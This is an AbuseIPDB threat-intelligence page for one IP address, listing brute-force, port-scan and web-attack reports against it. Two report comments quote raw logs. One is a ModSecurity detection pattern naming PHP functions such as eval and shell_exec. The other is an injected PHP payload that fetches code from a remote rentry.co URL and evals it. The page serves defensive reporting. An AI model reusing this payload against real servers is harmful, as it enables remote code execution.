AbuseIPDB » 142.202.240.82

142.202.240.82 was found in our database!

This IP was reported 53 times. Confidence of Abuse is 14%: ?

14%

ISP	1337 Services GmbH
Usage Type	Data Center/Web Hosting/Transit
Domain Name	as210558.net
Country	United States of America
City	Phoenix, Arizona

Report 142.202.240.82

Whois 142.202.240.82

IP Abuse Reports for 142.202.240.82:

This IP address has been reported a total of 53 times from 38 distinct sources. 142.202.240.82 was first reported on May 13th 2022, and the most recent report was 1 month ago.

Old Reports: The most recent abuse report for this IP address is from 1 month ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp in UTC	Comment	Categories
rtbh.com.tr	2024-11-12 20:53:21 (1 month ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
aitenders.com	2024-11-11 23:10:17 (1 month ago)	Port probe: TCP/2083	Port Scan
rtbh.com.tr	2024-11-11 20:53:22 (1 month ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
hostseries	2024-11-11 19:24:13 (1 month ago)	Trigger: LF_CPANEL	Brute-Force
hostseries	2024-10-27 09:13:57 (1 month ago)	Trigger: LF_CPANEL	Brute-Force
Linuxmalwarehuntingnl	2024-07-04 07:13:46 (5 months ago)	Unauthorized connection attempt	Brute-Force
Anonymous	2024-04-28 20:33:12 (7 months ago)	Bot / seems abusive / Apache connections: 47	DDoS Attack Web Spam Bad Web Bot Web App Attack
FeG Deutschland	2024-04-28 15:03:04 (7 months ago)	Looking for CMS/PHP/SQL vulnerablilities - 13	Exploited Host Web App Attack
Countryman	2024-04-28 14:50:45 (7 months ago)	IPS detection: PHP.URI.Code.Injection	Hacking
4server	2024-04-28 14:25:45 (7 months ago)	[SunApr2816:25:18.9358122024][security2:error][pid23037:tid47947725244160][client142.202.240.82:0][c ... show more[SunApr2816:25:18.9358122024][security2:error][pid23037:tid47947725244160][client142.202.240.82:0][client142.202.240.82]ModSecurity:Accessdeniedwithcode403$phase2$.Patternmatch\"$\?:\\\\\\\\\(chr\?\\\\\\\\\(\?[0-9]{1\,3}\?\\\\\\\\$\\|\?=\?f$\?:open\\|write$\?\\\\\\\\$\\|\\\\\\\\b\(\?:passthru\\|serialize\\|php_uname\\|phpinfo\\|shell_exec\\|preg_\\\\\\\\w \\|mysql_query\\|exec\\|eval\\|create_function\\|base64_decode\\|decode_base64\\|rot13\\|base64_url_decode\\|gz\(\?:inflate\\|decode\\|uncompress$\\|strrev\\|z...\"atARGS:dstr.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"734\"][id\"340095\"][rev\"54\"][msg\"Atomicorp.comWAFRules:AttackBlocked-PHPfunctioninArgument-thismaybeanattack.\"][data\"eval$\,ARGS:dstr\"][severity\"CRITICAL\"][hostname\"verticalti.ch\"][uri\"/sample.php\"][unique_id\"Zi5cTgzn-IdFbCSZBMYwSwAAAAA\"][SunApr2816:25:22.5516922024][security2:error][pid22834:tid47947731547904][client142.202.240.82:0][client142.202.240.82]ModSecurity:Accessdeniedwithcode403\(phase2$.Patternmatch\"\< show less	Blog Spam
Anonymous	2024-04-28 13:29:40 (7 months ago)	(mod_security) mod_security triggered on hostname [redacted] 142.202.240.82 (US/United States/-)	SQL Injection
mawan	2024-04-28 13:22:44 (7 months ago)	Suspected of having performed illicit activity on AMS server.	Web App Attack
Might Man	2024-04-28 13:03:00 (7 months ago)	h	Hacking Exploited Host Web App Attack
mw	2024-04-28 12:34:27 (7 months ago)	142.202.240.82 - - [28/Apr/2024:07:34:02 -0500] "GET //sample.php HTTP/1.1" 404 136 "https://boschte ... show more142.202.240.82 - - [28/Apr/2024:07:34:02 -0500] "GET //sample.php HTTP/1.1" 404 136 "https://boschtechinfo.com//sample.php?pd=1&mapname=admin.php&a=vx000&dstr=<?php%20function%20get($url)%20{%20$ch%20=%20curl_init();%20curl_setopt($ch,%20CURLOPT_HEADER,%200);%20curl_setopt($ch,%20CURLOPT_RETURNTRANSFER,%201);%20curl_setopt($ch,%20CURLOPT_URL,%20$url);%20$data%20=%20curl_exec($ch);%20curl_close($ch);%20return%20$data;%20}%20$ok%20=%20%27?>%27;%20eval(\x22$ok\x22%20.%20get(%27https://rentry.co/3fpi77xv/raw%27));%20?>" "Go-http-client/1.1" 142.202.240.82 - - [28/Apr/2024:07:34:08 -0500] "GET //admin.php HTTP/1.1" 404 136 "https://boschtechinfo.com//admin.php" "Go-http-client/1.1" 142.202.240.82 - - [28/Apr/2024:07:34:14 -0500] "GET //general.php HTTP/1.1" 404 136 "https://boschtechinfo.com//general.php?pd=1&mapname=admin.php&a=vx000&dstr=<?php%20function%20get($url)%20{%20$ch%20=%20curl_init();%20curl_setopt($ch,%20CURLOPT_HEADER,%200);%20curl_setopt($ch,%20CURLOPT_RETURNTRANSFER,%201);%2 ... show less	Bad Web Bot Web App Attack
strefapi_com	2024-04-28 12:24:30 (7 months ago)	Brute-force web ...	Hacking Brute-Force Web App Attack